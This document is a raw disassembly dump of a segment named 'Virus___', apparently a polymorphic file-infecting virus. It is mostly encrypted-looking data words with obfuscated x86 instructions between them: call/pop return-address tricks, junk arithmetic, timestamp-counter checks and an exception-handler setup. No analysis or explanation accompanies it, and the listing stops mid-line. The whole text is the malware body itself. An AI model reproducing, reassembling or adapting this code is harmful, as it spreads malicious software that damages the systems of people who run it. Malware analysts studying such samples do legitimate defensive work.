0DB581D2Dh dd 5E926h, 0A9380000h, 6198DD53h, 6A0689h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 6E94BC3h dd 30000000h, 0D7FE796Fh, 258D292Fh, 8B095D1Dh, 5D2C0D85h dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 4689F9C8h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 34E5628Bh dd 8B665AC5h, 0B860FF8h, 0E9000000h, 6, 6DDC97Eh, 8B50E8E3h dd 243489DFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0D8C35040h, 8C66B3A9h, 5CB5FFF5h, 0F50960A5h, 6EEA4468h dd 13E97Ah, 0A9900000h, 2D6FE43Bh, 0BA646298h, 7DA318C6h dd 0B6D26F43h, 2434814Eh, 7A71E9BBh, 68F0Fh, 0BD8B0000h dd 95D1D51h, 0A564858Dh, 8F0F0960h, 3, 0E8FB8B66h, 11h dd 141E2FCEh, 5EE902B1h, 1555FA45h, 93B167FDh, 0D1BD8B82h dd 5F095D06h, 10E86050h, 92000000h, 39AEB283h, 9057D7D6h dd 17916F98h, 60559372h, 0B3565E61h, 89615AF9h, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0C0189DC3h, 0BD6CE064h, 61BD8960h, 29095D19h, 5D0B8985h dd 95FF6109h, 95D0FADh, 610CF780h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 5C35646h, 77C081E4h, 0D381AF34h dd 647E0E3Fh, 15F985C7h, 3095Dh, 0F530000h, 835BFABFh dd 60A564BDh, 840F0009h, 2Fh, 245DB589h, 3FE9095Dh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0FF42C350h, 0B64D66D2h, 508FB7D7h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 6A38B9C3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0ABB1C357h, 0C5923D1Bh, 0BF6648E8h dd 0BD830842h, 95D15F9h, 0DF850F03h, 8B000003h, 5D2A099Dh dd 64BD8309h, 960A5h, 3CC840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0C9DE27C3h dd 64B5FFFDh, 0F0960A5h, 95FFDBB7h, 95D0A41h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 66C35545h, 0B5F43B99h dd 0BF66ADC4h, 9D8983E1h, 95D1D31h, 0A558B58Bh, 9D8B0960h dd 95D1711h, 106C7h, 60960001h, 61605250h, 6160310Fh, 820F585Ah dd 2, 50616160h, 96DF8B66h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 9CC35545h, 4330A5BEh, 0D9201130h, 42EC44BFh dd 33BF664Ch, 64B5FF09h, 6A0960A5h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0EE1DC353h dd 24FD4069h, 2219B501h, 9D8B095Dh, 95D2605h, 26ADB589h dd 95FF095Dh, 95D05FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 5BC35646h, 0CFF8C3F9h, 0B58BC3DAh, 960A558h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 26C35545h dd 0FED267C8h, 858B617Ah, 95D304Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 17C35343h, 895B04AEh, 0C486h dd 8820F00h, 53000000h, 1695BD89h, 8B5B095Dh, 5D091995h dd 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0BB201A48h, 33063CE2h, 0E804C283h, 0Eh, 0F8769D68h dd 1150FE88h, 548BE7C0h, 0B529B287h, 95D2B09h, 2050895Fh dd 20C9B589h, 858D095Dh, 960BBC1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 2CC35545h, 77507439h, 0BDDFE7C4h dd 6830Fh, 95890000h, 95D1D55h, 0B88689h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 89BA37C3h, 5D03118Dh, 6A006A09h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5C20C352h dd 7D87E547h, 0BFC7A55Fh, 51454FCBh, 0A564B5FFh, 6A0960h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 8954E5C3h, 566FA763h, 61B355AEh, 14C995FFh, 9D29095Dh dd 95D09CDh, 5F525096h, 64B5FF96h, 530960A5h, 0AE8h, 20B45100h dd 0F822B522h, 894CF594h, 5D295585h, 0FF5F5B09h, 5D137D95h dd 15BD2309h, 83095D25h, 5D19D1BDh, 840F0009h, 2Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D8C35141h, 50DFD878h dd 89FB8B66h, 9D8B2434h, 95D0271h, 0A564B5FFh, 0BF0F0960h dd 6D9D8BD9h, 0FF095D0Bh, 5D2F9595h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 1ADE068Eh dd 0F242CBE6h, 0A564B5FFh, 6A0960h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0D2BB53C3h dd 0E900ACAEh, 0Fh, 189DC2D6h, 6CE064C0h, 45A9FBDh, 0FF399757h dd 5D179595h, 0D98B6609h, 0B11BD83h, 0F02095Dh, 2084h dd 0D19D8B00h, 8B095D31h, 5D221585h, 0EB816609h, 0C64DBDh dd 6E800h, 0C7D40000h, 94E8F9Bh, 4585C75Bh, 95D05h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 18E2C353h, 0CC91623Fh, 62FAA03Ah, 315D9D8Bh dd 21E9095Dh, 0FFFFFF3h, 680h, 31852900h, 8B095D17h, 32E780C1h dd 23E9h, 0FB388700h, 2Fh, 7 dup(0) ; --------------------------------------------------------------------------- jmp loc_5B590D ; --------------------------------------------------------------------------- db 5Bh, 7, 57h dd 63F370DCh, 5DFD44E8h, 6AEA7AD6h, 62F24DE1h, 25FA9E9h dd 369A1141h, 7AB2030h, 369A1141h, 8FA82333h, 0A5C955C6h dd 53730F6h, 0ABABBEA1h, 5EFE41EDh, 31CD5E17h, 0AF3A584Dh dd 0A9058EBAh, 56FABC9Ch, 6ED1C913h, 4FCDAE10h, 0B3B01C5Ah dd 0FA49E5A3h, 0B0B01C5Ah, 4E084819h, 0A1084E5Bh, 0BECF81DDh dd 0DC6980C2h, 0D5BF77Ch, 108FC64Dh, 41EBDF9h, 44CC6BE2h dd 0E6203EA1h, 0CF95390Dh, 0DD65C98Fh, 0EE7D347Dh, 3A579C14h dd 0EBAD998Ch, 5B6EF08Ch, 8FC64D0Dh, 77312123h, 6FFA5662h dd 0E53AA9EFh, 9B3A579Ch, 5BBC5BE7h, 9AB483C1h, 56h, 6AEA7FD3h dd 0ABBEFA5Eh, 0A27EEDABh, 0DC3A584Dh, 96FB9EA0h, 0DFB48310h dd 6, 2C2C3A96h, 0A9BEBC18h, 46005010h, 0AC004653h, 2D81C797h dd 74054313h, 0F463608h, 0F5B3A3A3h, 4DAF73E0h, 4113A58h dd 97C79C30h, 0F9B5B01Ch, 584D986Ah, 81D083Ah, 0A5BE2783h dd 0EA63FCB5h, 0E868FEFBh, 563CF977h, 0BB882462h, 0B0CCDD9Bh dd 8481BAEh, 3A1A2F83h, 4B91D07Ch, 0E7E75200h, 175144B3h dd 0DD6BC78Eh, 1A2E3B7Dh, 0CC3DDC66h, 29B48335h, 57h, 0B5A5BE8Dh dd 5016BAF3h, 0C9983400h, 0C2BECF89h, 86D66980h, 0BE9EA10Dh dd 4C0C54F8h, 53EF930Ah, 830E43B4h, 1487CEB4h, 3A58580Ah dd 72576376h, 50h, 1DE1723Bh, 833A5857h, 2F3A1A2Fh, 0A5BEBF1Bh dd 95FF3B5h, 97AC0049h, 1CB5F3C7h, 78CBDE60h, 0BEF753D8h dd 7CEFA9A9h, 3A584D9Fh, 0EF9DA1DDh, 10560643h, 2C6D3105h dd 25B48310h, 0DF99B989h, 0E1083CAh, 723A585Ah, 1765367h dd 0D2000000h, 0F1B7A7BEh, 0E48085Dh, 0F4B2A2A2h, 0A4C0C58h dd 76DA6418h, 0C6D16D11h, 72E2667Fh, 8FC989DEh, 6AC68F9Ah dd 723B7DDDh, 584D1DE1h, 8396833Ah, 30673CB7h, 70A7347Dh dd 0E833332Ch, 5217BBFDh, 0EEA8A8BBh, 0C965EEFBh, 99ADC7Ch dd 30FB1EF3h, 0F6B0A0A7h, 94F0F5Ah, 0CE82DCA0h, 0B0471B67h dd 14441CB5h, 4DD74801h, 0C9BEA091h, 32E15135h, 0CA1FD9ADh dd 8CD975FEh, 2B6DED75h, 0C16D2B3Eh, 87D76D84h, 0C844DB92h dd 0DA6F2FA5h, 1F0E487Ch, 7DC8DF63h, 0C50A56DDh, 4CBDE05Ch dd 0C8C9605h, 58F430FBh, 6A5E4B0Bh, 1334Fh, 0F75BEB00h dd 81DAEE6Eh, 9FD69F12h, 0D0EEA300h, 98ACDFD1h, 3235740Bh dd 6773EC33h, 11E74EA6h, 7DD19782h, 4FE368E8h, 0B01C5AFAh dd 0F2E3A5B5h, 2025B48Eh, 0BBF2BB30h, 0FAB8D628h, 95C58030h dd 8ED2E6F3h, 0BDE0A549h, 81A89C0h, 7830FAC5h, 607C596Dh dd 0D8000000h, 155C4F49h, 915BDC86h, 0C2872B88h, 6DC1D492h dd 2B3E78D8h, 2A6C791Fh, 584E65B9h, 45411BAh, 656EE42h dd 0F14D3140h, 2D314D5Fh, 5A93E07Fh, 0BACDC360h, 0C0E3D58Eh dd 3A1A2589h, 0AAD4470Eh, 56089206h, 9FA60A43h, 81D3D06h dd 0E46F5B4Eh, 87F0h, 0C426B900h, 0F1862BD8h, 49FB5F6Bh dd 0C888DE4Ah, 800794DDh, 0D733333Dh, 856B5E48h, 1C279FDDh dd 0F360293Ch, 30FA562Fh, 0D6B08491h, 1C2985C3h, 4E1BB73Ch dd 0AD01480Eh, 1C8FC696h, 30FA5702h, 0CC5F6B7Eh, 30FA559Dh dd 0E57FD39Ah, 213D4175h, 883D396h, 8416453h, 99AE309Bh dd 13554029h, 0ECAAAABFh, 0DA6EC28Bh, 0C393D67Ah, 0D8A49085h dd 4CDF9686h, 3A1BEEB2h, 540F3B2Eh, 96054C5Fh, 32BB4635h dd 77D3584Dh, 2E674A49h, 0D979CB67h, 2660F075h, 33940733h dd 4F32F7A5h, 0C55A135Ah, 690E10E7h, 8B9704D4h, 0F530F702h dd 3E92D4E0h, 2B622B2Bh, 22DF162h, 869330F7h, 0F7030915h dd 1DE87730h, 0A90D9A7Ch, 4AC1F5E0h, 0B5F363E6h, 8CC52926h dd 63CF8656h, 3C4074E4h, 82D29722h, 0B0A0A509h, 5513BFF6h dd 0E538CA59h, 0BDA80A5Ch, 0CFFBEEA8h, 3871E163h, 5FF5D8A7h dd 3378B5Ah, 45E2245h, 6BE070F5h, 9BD282C7h, 822E2E37h dd 0C1D492C2h, 3A7B3F5h, 3000000h, 0A4BEE541h, 0B5EF2B4h dd 0A3A10D4Bh, 959F5B3h, 0A0A30F49h, 95AF6B0h, 0A1A30F49h dd 0A5BF7B1h, 0A3A00C4Ah, 51D8F5B3h, 0C181E189h, 4, 4E981h dd 0C870000h, 1C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 4266h mov [esp], ebx push edi mov edi, 5AFB32BBh mov esi, 645CDBA0h add esi, 5188374Eh sub esi, edi sub esi, 5188374Eh pop edi push 395Ch mov [esp], esp add dword ptr [esp], 4 pop ebx push edi mov edi, esi mov [ebx+8], edi mov edi, [esp] add esp, 4 mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_5729AF ; --------------------------------------------------------------------------- db 62h, 6Eh, 52h dd 75A310B1h db 30h ; --------------------------------------------------------------------------- loc_5B590D: ; CODE XREF: Virus___:005B5410j mov eax, 961AD4Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0EE88h dd 0DE0F1DBCh, 0A2A415EDh, 0DA8033Fh, 0A8991402h, 16514E4h dd 80C87F22h, 0ED7C3FB1h, 0CFE21991h, 70EF03B2h, 0AE081449h dd 0EDBC40A9h, 678A56D4h, 46D1102Fh, 414D529Dh, 0E7E7350Ch dd 40CE4E30h, 3E0273Ch, 0EF367560h, 263D048Fh, 8F5F5850h dd 936522D3h, 0F6BE6FF9h, 7FCC7D8Ah, 0C4D978DFh, 6E4A7B26h dd 62B548CEh, 82BA24ABh ; --------------------------------------------------------------------------- pop eax loc_5B5985: ; DATA XREF: Virus___:005726CFo xor ecx, [ebp+5D223985h] or ebp, esi push eax jmp loc_5B599F ; --------------------------------------------------------------------------- db 65h dd 508EBFB6h, 0ABF06A01h db 68h, 2Fh, 88h ; --------------------------------------------------------------------------- loc_5B599F: ; CODE XREF: Virus___:005B598Ej mov [esp], eax jbe loc_5B59A9 clc loc_5B59A9: ; CODE XREF: Virus___:005B59A2j push 0 push 0 push ebp call sub_5B59B6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B59B6 proc near ; CODE XREF: Virus___:005B59AEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5B59B6 endp ; --------------------------------------------------------------------------- scasd das sub [edi-4Fh], ebx jnp short loc_5B5A01 add edi, [edi] mov edi, esi push 0 mov bx, 0DB4Dh lea eax, [ebp+961B069h] push 0 push esi call sub_5B59E8 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B59E8 proc near ; CODE XREF: Virus___:005B59E0p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5B59E8 endp ; --------------------------------------------------------------------------- dd 1D41B2DCh, 526A9B44h db 0B5h ; --------------------------------------------------------------------------- loc_5B5A01: ; CODE XREF: Virus___:005B59CBj push edx mov ebx, [ebp+95D1A49h] add eax, 5 push 0 push ecx call sub_5B5A16 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5A16 proc near ; CODE XREF: Virus___:005B5A0Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5B5A16 endp ; --------------------------------------------------------------------------- dw 0F22h dd 0E890DAB7h, 10h, 3ADAB403h, 0CEB371AEh, 11BA2114h, 530D148Ah dd 0BB2AB360h, 478B8A3Ch, 0F505F61h, 198Dh, 14E900h, 0CE420000h dd 2AFA9815h, 26056A24h, 3DCB67D7h, 0D137B2C2h, 0E8905DD0h dd 0Ah, 0E850BF78h, 2D97AB2Dh, 0D7803E90h, 6A5B60h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F0C35646h, 0C028F70Dh dd 0BB6634D4h, 6A919Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0CEC35747h, 95FF254Bh, 95D0851h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 60C35343h, 240DF7D8h dd 23A1ABC7h, 5D23F5BDh, 4C8D8D09h, 0E8096091h, 8, 2FB799EAh dd 2EDCF01h, 12CF8166h, 0D1FF5BFDh, 278DBD8Bh, 0BD83095Dh dd 95D0971h, 76850F01h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 3F31C351h dd 0CB050145h, 6ADE8B9Bh, 51006A02h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 10DFE46Bh dd 8A5091E1h, 240489FAh, 14C995FFh, 6A095Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 103F4C3h dd 5D1EB99Dh, 0EBCE909h, 0E80000h, 5D000000h, 0B073ED81h dd 6A0961h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 4E0F32C3h, 6ABF9589h, 6A401F1Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0B279C356h, 11E9h, 5EE2C500h, 0CBD6C508h, 55E1EC52h dd 97E517CAh, 858DEDB7h, 9608AE2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0DFC35343h, 2878487Ah, 9D8901B3h dd 95D063Dh, 11E86050h, 0F4000000h, 0C406E464h, 1BCDD2C4h dd 0E1A0E7CFh, 0D740C3C1h, 830Fh, 50580000h, 850Fh, 615B0000h dd 8B240489h, 35FF64DEh, 0 ; --------------------------------------------------------------------------- and di, 3E32h mov large fs:0, esp add di, 985Ah inc dword ptr [ebp+95D2169h] push 0 push ebp call sub_5B5C86 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5C86 proc near ; CODE XREF: Virus___:005B5C7Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5B5C86 endp ; --------------------------------------------------------------------------- dw 0C671h dd 539A84C5h, 62011884h, 3181B589h, 0FF6A095Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B3C35242h, 39B5FF16h dd 0F095D28h, 95FFDFBFh, 95D0385h, 142E9h, 85296000h, 95D02C9h dd 20A98503h, 0B061095Dh, 0E9B52900h, 0E6095D2Ah, 599D8B70h dd 0E4095D29h, 784ABB71h, 613C4A93h, 115830Fh, 0BD8B0000h dd 95D2BB9h, 1C8B60Fh, 5D31298Dh, 79958909h, 0BA095D30h dd 6, 0C18BDF8Bh, 12E9h, 62AE2D00h, 0B8B7FC2Ah, 84916AF8h dd 0A1678B6h, 0C1B005A4h, 0F76604E8h, 56E8BFE2h, 0C82B3320h dd 2095BD8Bh, 0D18B095Dh, 20C9B501h, 0C0E9095Dh, 66000000h dd 0E90339BBh, 8, 4FC9308Bh, 94F02D77h, 8858Bh, 0EF800000h dd 7C0838Ah, 30558529h, 0C083095Dh, 6820F00h, 29000000h dd 5D21C985h, 0FD03B09h, 1D83h, 0BF666000h, 85292F41h dd 95D24D5h, 75E961h, 9D8B0000h, 95D148Dh, 17259D8Bh, 8D8B095Dh dd 0FFFFFFFFh, 12E9h, 0F96CDC00h, 5DA817Eh, 0B5240BD6h dd 0F35A0C74h, 8161E7C6h, 1487CEBh, 1E1834Ch, 3D840Fh dd 9D8B0000h, 95D171Dh, 83DAB70Fh, 0FFFFFFA5h, 0DF81FEFFh dd 0B95427Eh, 0CE960h, 0DEE60000h, 1BCE30FAh, 0C3C74CF6h dd 8B66692Eh, 958961F9h, 8, 14B59D8Bh, 0E9095Dh, 8D000000h dd 611F37B5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 25E91BF7h, 890E7BFh, 0B644BBF7h dd 6A486Ch, 61BD8B60h, 61095D19h, 0C159D8Bh, 95FF095Dh dd 95D11B1h, 0CE9BD33h, 0F5B9095Dh, 0E8000010h, 10h, 40F63721h dd 703A7CC0h, 891C8A29h, 5AB0B1Bh, 6870Fh, 0BD8B0000h dd 95D1A1Dh, 0FCE1835Bh, 0BE9h, 3FFE1100h, 0F6380748h dd 0F77EF733h, 0CE9FCh, 3A360000h, 70E89D12h, 0EDA701D7h dd 0B82CAAh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 98FCC357h, 0A66BA53Bh dd 70F51053h, 0D19D3153h, 5B095D26h, 6AD22Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 30CCE7C3h dd 1DBB6680h, 0C233AD9Bh, 0D003E8D1h, 7504E983h, 51006AF4h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0B02807B8h, 5C40023Eh, 89BD8BE7h, 6A095D03h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0DC4DC352h, 2700CBECh, 0D9589F5h, 66095D14h, 0DCC94BFh dd 88h, 0BDBD8BF9h, 8B095D04h, 5D091995h, 57006A09h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8BFC7408h, 5D13498Dh, 0C7816609h, 8B500220h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 88C35343h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0CEC35343h, 2D9589C6h, 83095D12h dd 5D3169BDh, 840F0009h, 65h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 81C35343h, 58EBA920h, 9531D4E9h dd 95D1F8Dh, 0F787BF66h, 0B8h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0A0C4A2A0h dd 0DBB70FE4h, 4D928D8Dh, 0D380095Dh, 29E1FFBAh, 5D13D585h dd 0F9BD8309h, 95D15h, 4CC840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8B6BC3h dd 95D1D75h, 15F9BD83h, 0F01095Dh, 4B884h, 0C19D8B00h dd 83095D19h, 5D15F9BDh, 860F0309h, 46Fh, 13BD9501h, 8B60095Dh dd 5D2F7D9Dh, 0D98C6609h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0BBC35040h, 30519D31h, 9D8B095Dh, 95D22EDh dd 6A04E180h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 80DDC350h, 67427E48h, 0A7D7664Ch dd 2C058529h, 0AF8095Dh, 0A3840FC9h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 7956C355h, 18989307h, 0F3080B5h, 858BF8BFh, 95D2C0Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 87C35343h dd 997C7577h, 3358B7C1h, 5D276585h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6DCDE4C1h dd 90D3C657h, 11E860h, 17CC0000h, 0D8CD1107h, 273E4F9Ah dd 0C024B893h, 0BA08A1F0h, 40B6BE9Eh, 6052505Fh, 60310F61h dd 61585A61h, 8B0F5050h, 0 ; --------------------------------------------------------------------------- pop ebx nop xor [ebp+95D0391h], eax push 0 push 0 push edi call sub_5B61E5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B61E5 proc near ; CODE XREF: Virus___:005B61DDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5B61E5 endp ; --------------------------------------------------------------------------- db 0B8h, 69h, 0BAh ; --------------------------------------------------------------------------- mov [ecx+33h], ebx shr byte ptr [ecx], 0BAh push 0D3931F24h jmp loc_5B621B ; --------------------------------------------------------------------------- dd 0F2C95D75h, 3FD16C54h, 10A967A5h, 0E159774Bh db 0F8h, 0CDh, 0B9h ; --------------------------------------------------------------------------- loc_5B621B: ; CODE XREF: Virus___:005B6203j add dword ptr [esp], 2C8BE4DBh push 0 push ecx call sub_5B622D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B622D proc near ; CODE XREF: Virus___:005B6225p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5B622D endp ; --------------------------------------------------------------------------- dec edi dec esp dec esi mov edi, 489DA16h call dword ptr [ebp+95D0FADh] push 0 push ebx call sub_5B6256 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6256 proc near ; CODE XREF: Virus___:005B624Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5B6256 endp ; --------------------------------------------------------------------------- xor [eax+11E59D8Bh], ebp pop ebp or [ecx], ecx xchg eax, ebp and eax, 89095D25h test [ebp+60h], esp or [edx+0], ebp push ebp call sub_5B6285 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6285 proc near ; CODE XREF: Virus___:005B627Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5B6285 endp ; --------------------------------------------------------------------------- mov dl, 0F9h adc al, 0Ah retf 0BF0Fh ; --------------------------------------------------------------------------- dd 3890FFFh, 0F000000h, 0D2E9FBB7h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 27F9C351h, 858BE964h, 960A55Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0E2C35747h, 1804F53Ch, 8F57AC81h dd 21B589CAh, 0C7095D1Bh, 1800h, 96CF8100h, 8B15A8C9h dd 60A560B5h, 9858909h, 8B095D2Bh, 5D2901BDh, 51858B09h dd 0F095D31h, 68Ch, 9DBD8B00h, 89095D20h, 0D858B06h, 8B095D2Ch dd 5D243DBDh, 4468909h, 50FBBF0Fh, 840F5250h, 4, 8CDCBF66h dd 6E9310Fh, 68000000h, 58CD9165h, 89585AEBh, 6A2434h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0D9BA99C3h, 81E215F8h, 0D9A343D3h, 5CB5FF40h, 8B0960A5h dd 5D25F5BDh, 4E809h, 3FF0000h, 0BB66001Fh, 8A505B89h dd 24448BFAh, 52506004h, 6819B866h, 0BA66310Fh, 585A3468h dd 8B665250h, 0B3310FF7h, 61585ACCh, 0F60008Bh, 188Fh dd 13E900h, 0B54B0000h, 337646D1h, 0D8D23177h, 6322CED9h dd 0B8924E36h, 5F53530Dh, 44896159h, 66520424h, 5F060CBBh dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0E2399209h, 0F53BC80Ah, 0E7808529h, 64858D81h dd 0E80960A5h, 8, 47B5892Eh, 0A4ACE0A4h, 65BB6651h, 505F5B11h dd 836AF2BFh, 2404894Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 78C35040h, 9539518h, 1A097F96h, 158589h dd 3157095Dh, 5D30C985h, 9D035B09h, 95D308Dh, 0FAD95FFh dd 0BF0F095Dh, 6A61D9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0C8DD43C3h, 0BFE6E444h, 92C260Ah dd 6DDF8166h, 0F985C716h, 3095D15h, 8B000000h, 5D0905BDh dd 64BD8309h, 960A5h, 61840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 43F6AC3h dd 0DB5A241Ah, 0B5095CB8h, 95D2F3Dh, 0C840Fh, 8C0F0000h dd 6, 2A99BD8Bh, 3BE9095Dh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 666AC350h dd 50FE1EBBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 6A60E8C3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9292C357h dd 0D38166D4h, 0BD83D766h, 95D15F9h, 32850F03h, 0E8000004h dd 0Eh, 3E3A4A3Ch, 82AC9664h, 0FF854224h, 8B60033Fh, 5D0535B5h dd 0E510B909h, 5B610543h, 0A564BD83h, 0F000960h, 40484h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8C0F1E80h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+95D0405h] push dword ptr [ebp+960A564h] call dword ptr [ebp+95D0A41h] push 0 push edx call sub_5B6635 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6635 proc near ; CODE XREF: Virus___:005B662Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5B6635 endp ; --------------------------------------------------------------------------- js short near ptr locret_5B6647+1 locret_5B6647: ; CODE XREF: Virus___:005B6645j retn 95CEh ; --------------------------------------------------------------------------- dw 36A9h dd 91BD8944h, 66095D27h, 8B9E76BFh, 60A558B5h, 6870F09h dd 8B000000h, 5D08A1BDh, 106C709h, 6A000100h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 